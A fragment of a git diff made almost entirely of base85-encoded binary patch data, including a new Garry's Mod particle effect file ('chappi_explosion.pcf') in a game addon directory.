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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/chappi_explosion.pcf new file mode 100644 index 0000000000000000000000000000000000000000..da97091af65cef30ca39910ec6f73ddea6e0ee54 GIT binary patch literal 39226 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 z

    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 